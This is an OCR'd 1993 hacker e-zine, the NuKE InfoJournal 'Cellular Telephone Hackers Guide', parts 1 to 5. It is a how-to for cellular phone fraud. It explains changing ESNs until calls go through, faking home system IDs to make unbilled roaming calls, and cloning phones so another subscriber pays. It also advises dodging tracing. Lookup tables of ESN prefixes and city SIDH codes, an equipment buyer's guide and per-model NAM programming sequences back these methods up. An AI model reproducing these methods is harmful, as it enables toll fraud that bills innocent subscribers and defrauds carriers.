Change the original ESN code by one number. Load the emulator and try making
a phone call. Keep trying this process until a call is completed. The entire
process is often completed in less than one-two hours.
A Programmer for use with a personal computer will allow the hacker to store
codes for easy editing and reprogramming new chips when the Cellular carrier
blocks the particular ESN is use. Use the working ESN code from above to burn
a new PROM and insert into the ZIF.
*** Most smart hackers also change the SIDH and MIN on the NAM in order
to minimize the possibility of being caught. ***
*** Remember Hackers will always be smart about who they are calling and
any traceable calling habits. ***
Some other manufacturer's cellular telephones are privately labelled for
certain companies. However, when reprogramming a cellular telephone, any
valid ESN code will work on any phone. The numbers listed bellow are all
Valid ESN Codes.
% Manufacturer's ESN Codes %
Manufacturer Decimal Hex Code
Alpine Electronics 150 96
AT&T 158 9E
Audiovox-Audiotel 138 8A
Blaupunkt (Bosch) 148 94
Clarion Company 140 8C
Clarion Manufacturing Company 166 A6
CM Communications 153 99
Di-Bar Electronics 145 91
E.D. Johnson 131 83
Emptel Electronics 178 B2
Ericsson 143 8F
Ericsson GE Mobile 157 9D
Fujitsu 133 85
Gateway Telephone 147 93
General Electric 146 92
Goldstar Products 141 8D
Harris 137 89
Hitachi 132 84
Hughes Network Systems 164 A4
Hyundai 160 A0
Japan Radio Co., Ltd. 152 98
Kokusai 139 8B
Mansoor Electronics 167 A7
Mobira 156 9C
Motorola 130 82
Motorola International 168 A8
Mitsubishi 134 86
Murata Machinery 144 90
NEC 135 87
Nokia 165 A5
Novatel 142 8E
OKI 129 81
Panasonic (Matsushita) 136 88
Philips Circuit Assemblies 171 AB
Philips Telecom 170 AA
Qualcomm 159 9F
Samsunq Corp. 179 B0
Sanyo 175 AF
Satellite Technology Services 161 A1
Shintom West 174 AE
Sony Corp. 154 9A
Tama Denki Co. 155 9B
Technophone 162 A2
Uniden Corp. of America 172 AC
Uniden Corp. of Japan 173 AD
Universal Cellular 149 95
Yupiteru Industries 163 A3
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uK E-
E- "The _COMPLETE_ Cellular Telephone Hackers Guide Nu
Nu PART 2 KE
KE The Hacker's Best Tricks" -N
-N OCRd By uK
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NuKE InfoJournal #7
August 1993
% The ROAMing Technique %
Cellular telephones have a ROAM mode, which indicates that the user is in an
area other than his or her "home" area. This ability allows the user to place
a call in an area away from his own, such as another state, and allows the
phone to be used when travelling or commuting. However, it is impossible for the
local MTSO to know when an "outsider" is on-line in their area, therefore,
incoming calls are not available when ROAMing unless a Call Following feature
is activated by the cellular carrier.
Cellular carriers have common agreements to cross-bill applicable charges,
including extra charges for being an "outsider", when a cellular user takes
advantage of the roaming capabilities of a cellular telephone.
It is possible for a user to make a call when ROAMing and not be billed. The
local area MTSO may put the call through and bill it to the registered user
at a later date, only to learn that the caller was using a stolen number. Keep
in mind that all call information is recorded and can be traced. It is
possible for the authorities to follow up with the "called" party. The calls
most frequently followed up on are calls repeatedly made to the same number
(the user's home number, family members, friends, etc) and noticeable trends
in calling (calling from the same cell each time, calling at the same time of
day, the same area, etc.)
The "ROAMing Technique" is frequently used, due to the fact that carriers
normally will not commit to the time and expense of tracing a call to recoup
the small amount lost on short calls (less than one percent of these calls are
deemed a sufficient loss to be followed up on).
This method requires the NAME be programmed with a fake SIDH (refer to the
Home System ID article). This may provide access for a limited time. A smart
hacker knows to ignore any message to contact the cellular carrier.
% Clone Approach %
A cellular phone can also be reprogrammed to imitate another cellular phone.
This is done for two reasons. First, the owner of two cellular phones does
not want to pay two individual service charges since he only uses one phone at
a any given time. Secondly, a hacker wants to make free phone calls that will
be charged to another cellular user. This approach will work until the wrongly
charged user reports these charges to the carrier at the end of the month
when they get their bill. Called numbers will probably be investigated for the
source.
The entire ESN and NAM (MIN components) are required to accomplish cloning.
The NAM parameters of one phone should be programmed into the other. The ESN
PROM of the first should be read and programmed into the second. The idea is
to make both phones appear to the carrier as the same phone. If an ESN of a
particular phone is not known, then a Cellular Service Monitor or ESN Reader
will be necessary. Most cellular service centres will have one or you can
look in at the Buyer's Guide Article.
Only one phone can be used at any given time. Both phones, will try respond
to incoming calls. The phone that offers the most powerful link will be
connected to break the connection of the other, weaker phone link.
Refer to the first part on how to program the ESN/NAM.
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Nu PART 3 KE
KE Home System ID Codes (SIDH)" -N
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NuKE InfoJournal #7
August 1993
% Home System Identification Codes (SIDH) %
SYSTEM NON-WIRELINE(A) NON-WIRELINE(B)
Abilene, TX 131 422
Aiken, GA 181 084
Akron, OH 073 054
Albany, GA 241 204
Albany, NY 063 078
Alburquerque, NM 079 110
Alexandra, LA 243 212
Allentown, PA 103 008
Alton, IL 017 046
Altoona, PA 247 032
Amarillo, TX 249 422
Anchorage, AK 251 234
Anderson, SC 139 116
Anniston, AL 255 098
Appleton, WI 217 240
Asheville, NC 263 246
Ashland, WV 307 ---
Athens, AL 203 198
Athens, GA 041 034
Atlanta, GA 041 034
Atlantic City, NJ 267 250
Auqusta, GA 181 084
Aurora, IL 001 020
Austin, TX 107 164
Bakersfield, CA 183 228
Baltimore, MD 013 018
Bangor, ME 271 254
Baton Rouge, LA 085 106
Battle Creek, MI 403 256
Beaumont, TX 185 012
Bellingham, WA 047 006
Beloit, WI 217 210
Benton Harbor, MI 277 260
Biddeford, ME 501 484
Billings, MT 279 262
Biloxi, MS 281 264
Binghampton, NY 283 266
Birmingham, AL 113 098
Bishop, CA 1063 ---
Bismarck, ND 285 268
Bloomington, IL 255 532
Boise, ID 289 272
Boston, MA 007 028
Bradenton, FL 175 042
Bremerton, WA 047 006
Bridgeport, CT 119 088
Bristol, TN 149 042
Brownsville, TX 451 434
Bryan, TX 297 280
Buffalo, NY 003 056
Burlington, NC 069 144
Burlington, VT 313 300
Canton, OH 073 054
Casper, WY 301 284
Cedar Falls, IA 589 568
Cedar Rapids, IA 303 286
Champaign, IL 305 532
Charleston, WV 307 290
Charleston, SC 127 156
Charlotte, NC 139 114
Charlottesville, VA 309 292
Chattanooga, TN 161 148
Chicago, IL 001 020
Cincinatti, OH 051 014
Clarksville, TN 179 296
Cleveland, OH 015 054
College Station, TX 297 280
Colorado Springs, CO 045 180
Columbia, SC 189 182
Columbus, GA 319 302
Columbus, OH 133 138
Corpus Christi, TX 191 184
Council Bluffs, IA 137 152
Cumberland, MD 321 304
Dallas, TX 033 038
Danville, VA 323 306
Davenport, IA 193 186
Dayton, OH 163 134
Daytona Beach, FL 325 308
Decatur, IL 327 532
Dennison, TX 033 038
Denver, CO 045 058
Des Moines, IA 195 150
Detroit, MI 021 010
Dotham, AL 329 312
Dubuque, IA 331 314
Duluth, MN 333 316
Durham, NC 069 144
Eau Claire, WI 335 318
Elgin, IL 001 020
El Paso, TX 097 092
Elkhart, IN 549 530
Elmira, NY 283 266
Enid, OK 341 324
Erie, PA 343 326
Eugene, OR 061 328
Evansville, IN 197 190
Fairbanks, AL --- 1018
Fargo, ND 347 330
Fayettesville, NC 349 100
Fayetteville, AR 607 342
Flint, MI 021 010
Florence, AL 351 334
Florence, SC 377 350
Fort Collins, CO 045 336
Fprt Launderdale, FL 037 024
Fort Myers, FL 355 042
Fort Pierce, FL 037 340
Fort Smith, AR 359 342
Fort Walton Beach, FL 361 344
Fort Wayne, IN 199 080
Fort Worth, TX 033 038
Fresno, CA 153 162
Gainesville, FL 365 348
Gadsden, AL 363 098
Galveston, TX 367 012
Glens Falls, NY 063 078
Grand Froks, ND 371 356
Grand Rapids, MI 021 244
Granite City, IL 017 046
Great Falls, MT 373 358
Greeley, CO 045 360
Green Bay, WI 217 362
Greensboro, NC 095 142
Greenville, SC 139 116
Gulf of Mexica, LA 171 194
Gulfport, MS --- 264
Gunterville, AL 203 198
Hagerstown, MD 381 364
Hamilton, OH 383 366
Harlingen, TX 451 434
Harrisburg, PA 159 096
Hartford, CT 119 088
Hickory, NC 385 368
Hilo, HI 1161 060
Holbrook, AZ 1027 ---
Honolulu, HI 167 060
Houma, LA 387 370
Houston, TX 035 012
Huntington, WV 307 196
Huntsville, AL 203 198
Indianapolis, IN 019 080
Iowa City, IA 389 286
Jackson, MI 391 374
Jackson, MS 205 160
Jacksonville, FL 075 136
Jacksonville, NC 393 376
Janesville, WI 217 210
Jerseyville, IL 245 586
Johnson City, TN 149 074
Johnstown, PA 039 032
Joliet, IL 001 020
Joplin, MO 401 384
Juneau, AL --- 1022
Kalamazoo, MI 403 386
Kankakee, IL 001 020
Kansas City, KS/MO 059 052
Kennewick, WA --- 500
Killeen, TX 409 392
Kingsport, TN 149 074
Knoxville, TN 093 104
Kokmo, IN 411 080
LaCross, WI 413 396
Lafayette, IN 415 080
Lafayette, LA 431 414
Lake Charles, LA 417 400
Lakeland, FL 175 042
Lancaster, PA 159 096
Lansing, MI 021 188
Laredo, TX 419 402
Las Cruces, NM 097 404
Las Vegas, NV 211 064
Lawrence, KS 059 406
Lawton, OK 425 408
Lewiston, ME 427 482
Lexington, KY 213 206
Lihue, HI 1157 060
Lincoin, NE 433 416
Little Rock, AR 215 208
Long Branch, NY 173 022
Longview, TX 229 418
Lorain, OH 437 054
Los Angeles, CA 027 002
Louisville, KY 065 076
Lubbock, TX 439 422
Lynchburg, VA 441 424
Macon, GA 443 426
Madison, WI 217 210
Manchster, NH 445 428
Mansfield, OH 447 430
Marchall, TX 229 418
Mayaguez, 449 432
Mcallen, TX 451 434
Medford, OR 061 436
Melbourne, FL 175 068
Memphis, TN 143 062
Miami, FL 037 024
Midland, TX 459 422
Millville, NH --- 250
Milwaukee, WI 005 044
Minneapolis, MN 023 026
Mobile, AL 081 120
Modesto, CA 233 224
Moline, IL 193 186
Monroe, LA 463 440
Monterey, CA 527 126
Montgomery, AL 465 444
Moorehead, ND --- 330
Muncie, IN 467 080
Muskegon, MI 021 448
Nashua, NH 445 428
Nashville, TN 179 118
NE Pennsylvania 103 172
New Bedford, MA 119 028
New Brunswick, NY 173 022
New Haven, CT 119 088
New London, CT 119 088
New Orleans, LA 057 036
Newport News, VA 083 168
New York, NY 025 022
Norfolk, VA 083 168
Ocala, FL 473 348
Odessa, TX 475 422
Oklahoma City, OK 169 146
Olympia, WA 047 006
Omaha, NE 137 152
Orange County, NY 479 486
Orlando, FL 175 068
Ottawa, IL 1177 1178
Oxnard, CA 027 002
Panama City, FL 483 462
Parkersburg, WV 485 032
Pascagoula, MS 487 264
Pasco, WA --- 500
Pensacola, FL 361 120
Peoria, IL 221 214
Petaluma, CA 031 040
Peterburg, VA 071 472
Philadelphia, PA 029 008
Phoenix, AZ 053 048
Pine Bluff, AR 493 208
Pittsburg, PA 039 032
Pittsfield, MA 119 480
Placerville, CA --- 1080
Ponce, PR 497 082
Portland, ME 499 482
Portland, OR 061 030
Portsmouth, NH 501 484
Poughkeepsie, NY 503 486
Providence, RI 119 028
Provo, UT 091 488
Pueblo, CO 045 490
Raliegh, NC 069 144
Rapid City, SD 511 494
Reading, PA 103 008
Redding, CA 513 294
Reno, NV 515 498
Richland, WA 517 500
Richmond, VA 071 170
Roanoke, VA 519 502
Rockester, NH 501 484
Rockester, MN 521 504
Rockester, NY 117 154
Rockford, IL 217 506
Sacramento, CA 129 112
Saginaw, MI 021 389
Salem, OR 061 030
Salina, CA 527 040
Salt Lake City, UT 091 094
San Angelo, TX 529 510
San Antonio, TX 151 122
San Diego, CA 043 004
San Francisco, CA 031 040
San Jose, CA 031 040
San Juan, PR 227 218
Santa Barbara, CA 531 040
Santa Cruz, CA 031 126
Santa Rosa, CA 031 040
Sarasota, FL 175 142
Savanna, GA 539 520
Schenectady, NY 063 078
Scranton, PA 103 172
Seattle, WA 047 006
Sharon, PA 089 126
Sheboygan, WI 543 044
Shreveport, LA 229 220
Sioux City, IA 547 528
Sioux Falls, SD 555 540
South Bend, IA 549 530
Spartanburg, SC 139 116
Spokane, WA 231 222
Springfield, IL 551 532
Springfield, MO 559 546
Springfield, OH 573 134
Springfield, MA 119 188
St. Cloud, MN 553 534
St. Joseph, MO 059 536
St. Louis, MO 017 046
St. Petersburg, FL 175 042
State College, PA 159 032
Stuebenville, OH 039 032
Stocken, CA 233 224
Stroudsburg, PA 103 172
Syracuse, NY 077 086
Tacoma, WA 047 006
Tallahassee, FL 565 544
Tampa, FL 175 042
Temple, TX 409 392
Terre Haute, IN 567 080
Texarkana, TX/AR 229 550
Toledo, OH 021 130
Topeka, KS 059 552
Trenton, PA 029 008
Tucson, AZ 053 140
Tulsa, OK 111 166
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Nu PART 4 KE
KE Buyer's Guide And Publications" -N
-N OCRd By uK
uK The NuKE Crew E-
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NuKE InfoJournal #7
August 1993
[Note: All suppliers are located in the U.S. except where noted. If anyone
can supply us with names/address/telephone numbers of cellular component
suppliers outside of North America, please send them to us for inclusion in
the next InfoJournal. -RS]
% Buyer's Guide %
Active Electronic Components (* PROM/EPROM/EEPROM Chips *)
Tel (403) 235 5300 (Calgary, AB) (* PROM/EPROM/EEPROM Programmers *)
Tel (416) 238 8825 (Toronto, ON) (* EPROM UV Erasers *)
Tel (514) 256 7538 (Montreal, QC)
Tel (613) 728 7900 (Ottawa, ON)
Tel (410) 536 5400 (Baltimore, MD)
Tel (708) 593 6655 (Chicago, IL)
Tel (313) 689 8000 (Detroit, MI)
Tel (516) 471 5400 (New York, NY)
Tel (609) 273 2700 (Atlantic City, NJ)
Tel (408) 727 4550 (San Francisco, CA)
Tel (206) 881 8191 (Seattle, WA)
Tel (617) 932 4616 (Boston, MA)
Tel (800) 363 7601
Allstate Cellular (* Phone Distributor *)
2064 North Bush St.
Santa Ana, CA 92706
Tel (714) 547 4663
Fax (714) 547 5089
BP Microsystems (* PROM Programmers *)
Tel (714) 461 9430
Bytek Corporation (* Test Equipement, PROM Programmers *)
Instruments System Division
508 N.W. 77th Street
Boca Raton, FL 33487-1232
Tel (800) 523 1565
Tel (407) 994 3520
Fax (407) 994 3615
Cellular Enterprises (* Cellular Phone Dealer *)
Tel (813) 885 7766
Cellular Phone Services, Inc. (* Phone Repairs *)
Tel (800) 326 7901
Curtis Electro Devices (* ESN/MIN Readers *)
Tel (800) 332 2790
Fax (415) 964 3574
Communication Consultants Co. (* Phone Repairs *)
Tel (818) 901 9711
Communication Instruments (* Cellular Service Monitors *)
Tel (800) 288 8223
Tel (213) 322 3666
Incredible Technologies (* EPROM Emulator *)
Tel (708) 437 2433
Intronics, Inc. (* EPROM Programmers *)
P.O. Box 13723
Edwardsville, KS 66113
Tel (913) 422 2094
JDR Microdevices (* PROM/EPROM/EEPROM Chips *)
Tel (800) 538 5000
Johnson Radio Communications (* Phone Distributor *)
660 Transfer Road
St. Paul, MN 55114
Tel (612) 645 6471
Magnatech Corporation (* Phone Distributor *)
1005 Parchment Drive, S.E.
Grand Rapids, MI 49506
Tel (616) 942 9548
National Semiconductors (* PROM/EPROM/EEPROM Chips *)
Tel (408) 721 5000
Needham's Electronics (* EPROM Programmers *)
4539 Orange Grove Ave
Sacramento, CA 95841
Tel (916) 924 8037
NCI (* Cellular Phone Supplier *)
Tel (800) 669 5167
Tel (215) 264 5117
Technical Solutions (* EPROM Emulators *)
P.O. Box 462101
Garland, TX 75046-2101
Tel (214) 272 9392
TLC Electronics (* EPROM Emulators *)
2499 Rice St. Ste 17
St. Paul, MN 55113
Tel (612) 481 0287
% Publications %
2600 Magazine (* "The Hacker Quarterly" *)
P.O. Box 752
Middle Island, NY 11953
Tel (516) 751 2600
Fax (516) 751 2608
Cellmark Publishing (* SIDH Codes, coverage maps, roamer
P.O. Box 261 instructions *)
Dearborn, MI 48123
Tel (313) 561 3339
Communications Publishing Co. (* SIDH Codes, coverage maps, area carrier *)
P.O. Box 500
Mercer Island, WA 98040-0500
Tel (206) 232 3464
Nuts and Volts Magazine (* Contains a plethora of hardware/technical
430 Princeland Court resources for the serious hacker *)
Corona, CA 91719
Tel (909) 371 8497
Fax (909) 371 3052
================================================================================
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "The _COMPLETE_ Cellular Telephone Hackers Guide Nu
Nu PART 5 KE
KE Programming Instructions" -N
-N OCRd By uK
uK The NuKE Crew E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
MAKE MODEL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ACT 9500
ALPINE 9510
ALPINE 9511
ALPINE 9525
ALPINE 9530
ALPINE 9550
ALPINE 9550 portable
AMERICEL
ANTEL LNX-100/200
ANTEL NTX-110/220
ANTEL RADIANT 832XL
ANTEL RADIANT 950
ANTEL RADIANT 950MX
ANTEL STR 300, 350, 330 transportable
ANTEL STR 500, 550, 900
ANTEL STR 700, 770 transportable
ANTEL STR 1100 portable
ANTEL STR 1300 portable
ARA PROMCOMM 1600
ASTROTEL
AT&T 1100
AT&T 1200/1240
AT&T 1300/1300C
AT&T 1400
AT&T 1710 portable
AUDIOVOX BC20
AUDIOVOX BC40/BC45
AUDIOVOX BC55
AUDIOVOX BC55A
AUDIOVOX CMT 125
AUDIOVOX CMT 400
AUDIOVOX CMT 410
AUDIOVOX CMT 410A
AUDIOVOX CMT 500
AUDIOVOX CMT 550
AUDIOVOX CMT 600
AUDIOVOX CMT 1000
AUDIOVOX CMT 1700/1705
AUDIOVOX CMT 3000
AUDIOVOX CTR-1900 transportable
AUDIOVOX CTX 1500
AUDIOVOX CTX 2500
AUDIOVOX CTX 3100
AUDIOVOX CTX 3100A
AUDIOVOX CTX 4000
AUDIOVOX CTX 4500 portable
AUDIOVOX CTX 5000
AUDIOVOX MVX 500 portable
AUDIOVOX PT-300 portable
AUDIOVOX SP 75/85A
BENTLEY BX7
BLAUPUNKT MT 800AU
BLAUPUNKT 9000
BLAUPUNKT 9010
CHRYSTLER VISORPHONE
CINCINATTI MICROWAVE portable
CITICOMM MM1000
CLARION 1100CT
CLARION 5100CT
CLARION 3000CT
CLARION 5200CT
CMTELECOM AR3800
DIAMONDTEL MESA 40
DIAMONDTEL MESA 50
DIAMONDTEL MESA 52
DIAMONDTEL MESA 55
DIAMONDTEL MESA 60 portable
DIAMONDTEL MESA 60X portable
DIAMONDTEL MESA 80X portable
DIAMONDTEL MESA 90X portable
DIAMONDTEL MESA 92
DIAMONDTEL MESA 95 transportable
DIAMONDTEL MESA 99X portable
FUJITSU 170 protable/364
FUJITSU COMM 362
FUJITSU COMM II(362A)
FUJITSU COMM ILX(364)
FUJITSU COMM FX & ST
FUJITSU COMM XL
FUJITSU F80M-360
FUJITSU POCKET COMMANDER
GATEWAY CP 900 portable
GE 1000/1500
GE 2000/2500
GE 3000/3500
GE 4000/4500
GE EXECUTIVE
GE HOTLINE 5000
GE HOTLINE 7500
GE MINI portable
GE MINI II portable
GE MONOGRAM
GE POCKETFONE
GE STAR
GOLDSTAR GM/GT 5000
GLENAYRE GL300
GTE BRONZE 200
GTE BRONZE 300
GTE MERCURY 200
GTE MERCURY 300
HITACHI CR-2110H
HITACHI CR-1110H
HITACHI CR-211H, 2121H
HARRIS 4200 celphone
HARRIS 4400
HARRISON 4600
HYUNDAI
INFINITI
JAGUAR
E.F. JOHNSON
KENWOOD KMP F500/KMP H700
LENEX same as ANTEL LX series
LEXUS MOTO
LUXCEL LXC/LXM/LXT 450
LUXCEL LXC/LXM/LXT 600
MEI CT2000
MEI CT3000
MEI HT5000
MESA see DIAMONDTEL MESA series
MGA 100/200
MITSUBISHI 301/401/450/460
MITSUBISHI 500/555/560/600
MITSUBISHI 700/900/3000 portable
MITSUBISHI 800 transportable
MITSUBISHI 1500 transportable
MOBIRA 300 series, ME 57, ME 57A transportable
MOBIRA 400 series transportable, 500 series portable
MOTOROLA 750 vers I portable
MOTOROLA 750 vers II portable
MOTOROLA 950 portable
MOTOROLA 950X portable
MOTOROLA 1100
MOTOROLA 1500/1500A
MOTOROLA 1800
MOTOROLA SCN 2056 (1900)
MOTOROLA 2000
MOTOROLA 2000R
MOTOROLA 2000X
MOTOROLA 2200
MOTOROLA 2600
MOTOROLA 2900
MOTOROLA 3000
MOTOROLA 4000C
MOTOROLA 4000X
MOTOROLA SCN 2005 (4500L)
MOTOROLA SCN 2005 (4500XL)
MOTOROLA 5000
MOTOROLA 5000 vers 2
MOTOROLA 6000
MOTOROLA 6000X
MOTOROLA SLN 2020A (6000XL)
MOTOROLA SLN 2023A (6800XL)
MOTOROLA 8000BC portable
MOTOROLA 8000BCX portable
MOTOROLA 8000P
MOTOROLA 8000S
MOTOROLA 8000X portable
MOTOROLA 8500XL
MOTOROLA 9000
MOTOROLA MC 100
MOTOROLA MC 200
MOTOROLA MC 300
MOTOROLA SCN 2005 (MC 400)
MOTOROLA SCN 2090/2204 (MC 500)
MOTOROLA PERS TEL (with menu key)
MOTOROLA PERS TEL (without menu)
MOTOROLA TT2 transportable
MOTOROLA TT3 transportable
MOTOROLA SCN 2090/2204 (TT% transportable)
MOTOROLA TT22 transportable
MOTOROLA ULTRA CLASSIC
MURATA CT50/MCT portable
NEC 1000/3500/5000/7000/4700
NEC 3700/3800/4500/4600/4800
NEC 9000/9100 portable
NEC P200/P300 portable
NEC P400/P600 portable
NOKIA 101/1000 portable
NOKIA-MOBIRA LX-11/M-11
NOKIA-MOBIRA M-10
NOKIA-MOBIRA P-30 portable
NOKIA-MOBIRA P4000/PT612
NOVATEL AURORA 100/200
NOVATEL VTR-8300/9300
NOVATEL 8305
NOVATEL 8320
OKI ACC 91
OKI CSI
OKI 21/23
OKI 200/300/400 series
OKI 610/630/691/692
OKI 620/693
OKI 700 portable/ACC91/710/750
OKI 810 mobile/891 transportable
OKI 830/900
PANASONIC 3500 portable
PANASONIC 6104EA/6104EC
PANASONIC 6104EB
PANASONIC CM/TF 800
PANASONIC EB500/CM500/TP500/EB-T10/EB-C10
PANASONIC EB3500 portable
PANASONIC HP600/EBH-30
PANASONIC 6106/6110/EB311/EB362
PIONEER PCM 300/500
PIONEER PCM 600
PRESTIGE
PULSAR
PHILIPS FM 9210
RADIANT see ANTEL
RADIO SHACK CT 102
RADIO SHACK CT 200/201
RADIO SHACK CT 300/301
RADIO SHACK CT 300 portable
RADIO SHACK CT 302
RADIO SHACK CT 1033
RADIO SHACK CT 100/101
RADIO SHACK 17-8003
RADIO SHACK 8000 series
SHINTOM CM 7600
SHINTOM CM 8700
SHINTOM CM 8800
SHINTOM XR2000/7600
SONY CM-P11 portable
STANDARD
STS CP832
TACTEL TACTEL
TECHNOPHONE PC 105/115/125/135 portable
TECHNOPHONE PC 205 portable
TECHNOPHONE MC905A/MC905MKII/MC985A/MC9995
TECHNOPHONE MC915A
UNIDEN CP-900/1000/1050/1100/1200/1500/1900
UNIDEN CP-2000/3000/PRES4000GTS/4500GTS
UNIDEN 5000/6000GTS portable
UNIDEN CP-5500 portable
USA CORP portable
WALKER 910
WALKER portable
% Programming Instructions %
-------------------------------------------------------------------------------
ALPINE 9500
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Kokusai
Programmer: Motorola 1801 -- Celnam, Curtis or Bytek
ESN Prefix DEC: 150
HEX: 96
ESN, S/N Match Required: Yes
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Enabled or Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Horn Alert: Aux
New Unlock Code: NAM
System Select: NAM (AB or BA)
-------------------------------------------------------------------------------
ALPINE 9510
-------------------------------------------------------------------------------
NAM Type: Fujitsu
Manufacturer: Fujitsu
Programmer: Curtis or Bytek
ESN Prefix DEC: 150
HEX: 96
ESN, S/N Match Required: YES
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Enabled or Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred Systems: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Horn Alert: F + #(Aux)
New Unlock Code: NAM
System Select: F + 1 + X
X=1 (A then B)
X=2 (B then A)
X=3 (A only)
X=4 (B only)
X=5 (Home)
-------------------------------------------------------------------------------
ALPINE 9511
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Fujitsu
Programmer: Handset
ESN Prefix DEC: 150
HEX: 96
ESN, S/N Match Required: Yes
Programmable Handset: Yes
Available Channels: 832
Programming Sequence: Power On
F + LOCK
POWER OFF
POWER ON
#626#7764726 (within 10 seconds)
HOLD (*) key until tone stops
Enter Data for each step then press STOR
Press SEND to write data
#Digits
System ID Format: 5 XXXXX
Local Use Option: 1 1
MIN Option: 1 1
Mobile Number: 10 XXX-XXX-XXXX
Station Class: 2 08
Initial Paging Channel: 3 333 or 334
Access Overload Class: 2 XX
Preferred System: 1 0 (B) or 1 (A)
Group ID Format: 2 XX
Lock: 3or4 XXX or XXXX
Call Timer: 1 4 (see i)
Auto Lock: 1 1 (see ii)
Call Restriction: 1 1 (see iii)
i. Call Timer - 1 Timer off
2 6-seconds
3 30-seconds
4 60-seconds
ii. Auto Lock - 1 Manual Lock, No out
2 Manual Lock, No calls
3 Auto Lock, No out
4 Auto Lock, No calls
iii. Call Restriction - 1 No Restriction
2 No Memory Dialing
3 No Long Distance
4 Both 2 and 3
5 Memory Calls only
ALPINE 9511 NAMS 2,3,4
Programming Sequences: Power On
Unlock Power (if locked)
(F) (7) (NAM Number - 2, 3, or 4)
(F) (Lock)
Power Off
Power On
Follow Programming Code and Steps from Top Model
Horn Alert: F + # (Aux)
New Unlock Code: NAM
System Select: F + 1 + X
X=1 A then B
X=2 B then A
X=3 A only
X=4 B only
X=5 Home
-------------------------------------------------------------------------------
ALPINE 9525 and 9530
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Fujitsu
Programmer: Handset
ESN Prefix DEC: 150
HEX: 96
ESN, S/N Match Required: Yes. Manufacturer Prefix + Last 4 or 5 digits
Programmable Handset: Yes
Available Channels: 832
Programming Sequence: Power On
F + LOCK
Power Off
Power On
# + 626 + # + 7764726 (within 10 seconds)
Hold (*) key until tone stops
Enter data for each step then press STOR
Press SEND to write data
# of Digits
System ID Format: 5 XXXXX
Local Use Option: 1 1
MIN Option: 1 1
Mobile Number: 10 XXX-XXX-XXXX
Station Class: 2 08 (Mobile) or 14 (Portable)
Initial Paging Channel: 3 333 or 334
Access Overload Class: 2 XX
Preferred System: 1 1(A) or 0(B)
Group ID Format: 2 XX
Unlock Code: 3or4 XXX or XXXX
Call Timer: 1 4 (i)
Auto Lock: 1 1 (ii)
Call Restriction: 1 1 (iii)
System ID Inhibit #: 5 XXXXX
System ID Inhibit #: 5 XXXXX
System ID Inhibit #: 5 XXXXX
i. Call Timer Increment - 1 Timer Off
2 6-seconds
3 30-seconds
4 60-seconds
ii. Auto Lock - 1 Manual Lock, no out
2 Manual Lock, No calls
3 Auto Lock, No out
4 Auto Lock, No calls
iii. Call Restriction - 1 No Restriction
2 No Memory Dialing
3 No Long-Distance
4 Both 2 and 3
5 Memory Calls only
NAMS 2-4
Programming Sequence: Power On
Unlock Power (if locked)
F + 7 + NAM 2, 3 or 4
F + LOCK
Power Off
Power On
Follow Programming Code and steps from top example.
-------------------------------------------------------------------------------
ALPINE 9550 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Fujitsu
Programmer: Handset
ESN Prefix DEC: 150
HEX: 96
ESN/Serial Number Match: Yes. Manufacturer prefix + last 4 or 5 digits
Programmable Handset: Yes
Available Channels: 832
Programming Sequence: Power On
F + Lock
Power Off
Power On
# + 626 + # + 7764726 (within 3 seconds)
Hold (*) key until tone stops
Enter data for each step then press STOR
Press SEND to write data
# digits
System ID Format: 5 XXXXX
Local Use Option: 1 1
MIN Option: 1 1
Mobile Number: 10 XXX-XXX-XXXX
Station Class: 2 14
Initial Paging Channel: 4 0333 or 0334
Access Overload Class: 2 XX
Preferred System: 1 1(A) or 0(B)
Group ID Format: 2 XX
Unlock Code: 3or4 XXX or XXXX
Call Timer: 1 4(i)
Auto Lock: 1 1(ii)
Call Restriction: 1 1(iii)
i. Call Timer Increment - 1 Timer Off
2 6-seconds
3 30-seconds
4 60-seconds
ii. Auto Lock - 1 Manual Lock, no out
2 Manual Lock, No calls
3 Auto Lock, No out
4 Auto Lock, No calls
iii. Call Restriction - 1 No Restriction
2 No Memory Dialing
3 No Long-Distance
4 Both 2 and 3
5 Memory Calls only
Programming Sequence: Power On
Unlock Phone (if locked)
F + 7 + NAM 2, 3 or 4
F + LOCK
Power Off
Power On
Follow Programming Code and steps from above
New Unlock Code: NAM
System Select: FCN + 1 + X
X=1 AB
X=2 BA
X=3 A only
X=4 B only
X=5 Home
Curent status may be reviewed with RCL/ALT + FCN + 1
-------------------------------------------------------------------------------
AMERICEL
-------------------------------------------------------------------------------
See SHINTOM 8000 series Programming Instructions.
-------------------------------------------------------------------------------
ANTEL LENEX LNX100, NTX 110, LNX200 and NTX220
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufactuer: General Electric
Programmer: Handset
ESN Prefix DEC: 146
HEX: 92
ESN, S/N Match Required: Yes
Stamped Model Number: 100 series - LENEX 1
200 series - LENEX 2
Available Channels: 832
Programming Sequence: Enter sequence: 04049 + FCN + FCN
ESN will be displayed
Press SEND to increment
Once Parameter has been entered, press SEND
to enter step and increment
Press END to stroe programmed data in NAM and
resume normal operation
# digits
Area Code: 3 XXX + SEND
Mobile Number: 7 XXX-XXXX + SEND
System ID Format: 5 XXXXX + SEND
Local Use Option: 1 1 + SEND
